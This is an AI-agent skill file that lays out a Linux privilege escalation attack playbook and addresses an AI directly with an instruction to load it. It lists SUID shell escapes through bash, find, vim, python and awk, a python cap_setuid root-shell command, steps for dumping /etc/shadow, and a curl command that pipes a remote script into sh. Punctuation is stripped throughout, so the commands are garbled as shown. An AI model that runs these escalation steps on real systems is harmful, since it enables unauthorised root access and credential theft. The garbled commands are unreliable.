Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.

SKILL: Linux Privilege Escalation — Expert Attack Playbook AI LOAD INSTRUCTION : Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations. 0. RELATED ROUTING Before going deep, consider loading: [container escape techniques](../container escape techniques/SKILL.md) when the target is a container and you need to escape to host [linux security bypass](../linux security bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp [linux lateral movement](../linux lateral movement/SKILL.md) after obtaining root for pivoting to adjacent hosts [kubernetes pentesting](../kubernetes pentesting/SKILL.md) when the host is a Kubernetes node Advanced Reference Also load [SUID CAPABILITIES TRICKS.md](./SUID CAPABILITIES TRICKS.md) when you need: Top 30 SUID binaries with exact exploitation commands (GTFOBins) Capability specific exploitation for each dangerous cap Custom SUID binary exploitation methodology Also load [KERNEL EXPLOITS CHECKLIST.md](./KERNEL EXPLOITS CHECKLIST.md) when you need: Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.) Exploit compilation tips and cross compilation notes Kernel exploit stability assessment 1. ENUMERATION CHECKLIST Run these immediately after landing a shell: System Info Sudo & SUID/SGID Cron & Timers Writable Files & Dirs Network & Services Credential Locations 2. SUID/SGID EXPLOITATION GTFOBins Methodology 1. Find SUID binaries: find / perm 4000 type f 2 /dev/null 2. Cross reference each with [GTFOBins](https://gtfobins.github.io/) 3. Use the "SUID" section specifically — not all binary abuse works with SUID Quick Win SUID Escalations Binary Command bash bash p find find . exec /bin/sh p \; quit vim vim c ':!/bin/sh' python python c 'import os; os.execl("/bin/sh","sh"," p")' env env /bin/sh p nmap (old) nmap interactive → !sh awk awk 'BEGIN {system("/bin/sh p")}' less less /etc/passwd → !/bin/sh cp Copy /etc/passwd , add root user, copy back Shared Library Hijacking (SUID Binary) 3. CAPABILITIES ABUSE Capability Risk Exploitation cap setuid Critical python3 c 'import os;os.setuid(0);os.system("/bin/bash")' cap dac override Critical Read/write any file regardless of permissions cap dac read search High Read any file — dump /etc/shadow cap sys admin Critical Mount filesystems, BPF, namespace manipulation cap sys ptrace High Inject into root processes via ptrace cap net raw Medium Sniff traffic, ARP spoofing cap net bind service Low Bind to privileged ports (<1024) cap fowner High Change ownership of any file 4. CRON / TIMER ABUSE Writable Cron Scripts PATH Hijacking in Cron Wildcard Injection (tar) pspy — Monitor Processes Without Root 5. NFS NO ROOT SQUASH 6. WRITABLE /etc/passwd OR /etc/shadow Writable /etc/passwd Writable /etc/shadow 7. LD PRELOAD / LD LIBRARY PATH WITH SUDO 8. DOCKER GROUP → ROOT 9. PYTHON / PERL / RUBY LIBRARY HIJACKING 10. AUTOMATED TOOLS Tool Purpose Command LinPEAS Comprehensive enumeration curl L https://github.com/peass ng/PEASS ng/releases/latest/download/linpeas.sh \ sh linux exploit suggester Kernel exploit suggestions ./linux exploit suggester.sh pspy Monitor processes (no root needed) ./pspy64 LinEnum Legacy enumeration ./LinEnum.sh t GTFOBins SUID/sudo/capability abuse reference https://gtfobins.github.io/ 11. PRIVILEGE ESCALATION DECISION TREE

linux-privilege-escalation